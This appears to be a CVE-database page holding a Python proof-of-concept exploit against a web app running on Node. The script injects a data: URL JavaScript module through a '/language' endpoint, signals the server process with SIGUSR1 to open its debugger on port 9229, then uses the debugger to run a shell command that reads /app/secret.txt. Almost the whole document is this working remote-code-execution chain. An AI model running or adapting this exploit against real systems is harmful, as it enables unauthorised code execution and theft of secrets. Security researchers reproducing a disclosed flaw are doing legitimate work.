5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3

import requests
import urllib.parse
import time

BASE = "http://localhost:8000"


def inject(js: str, timeout: int = 20) -> dict:
    lang = "data:text/javascript," + urllib.parse.quote(js.strip(), safe='!#$&()*+/:;=?@_~') + "//"
    r = requests.post(f"{BASE}/language", json={"lang": lang}, timeout=timeout)
    try:
        return r.json().get('default', {})
    except Exception:
        return {"raw": r.text}


# step 1 : get target PID
resp = requests.get(f"{BASE}/pid")
pid = resp.json()["pid"]
print(f"TARGET PID : {pid}")

#real poc starts here
#step 2 : kill this process with SIGUSR1 to trigger the CDP debugger (listening on 127.0.0.1:9229)
step2_payload = f"""
process.kill({pid}, 'SIGUSR1');
export default {{ signal: 'SIGUSR1', sent_to: {pid} }};
"""

result = inject(step2_payload)
print(f"Response step 2 : {result}")

#let the process receive the signal and start the debugger
time.sleep(1)


#step 3 : connect to the CDP debugger and execute RCE
step3_payload = r"""
await new Promise(r => setTimeout(r, 400));

const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();

const result = await new Promise(resolve => {
  const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
  ws.onopen = () => ws.send(JSON.stringify({
    id: 1, method: 'Runtime.evaluate',
    params: { expression: `process.mainModule.require('child_process').execSync('cat /app/secret.txt').toString()`, returnByValue: true }
  }));
  ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});

export default result;
"""

result = inject(step3_payload, timeout=15)

try:
    secret = result['result']['result']['value']
    print(f"SECRET : {secret.strip()}")
except Exception as e:
    print(f"\n[-] Parsing error : {e}")
    print(f"  Raw : {result}")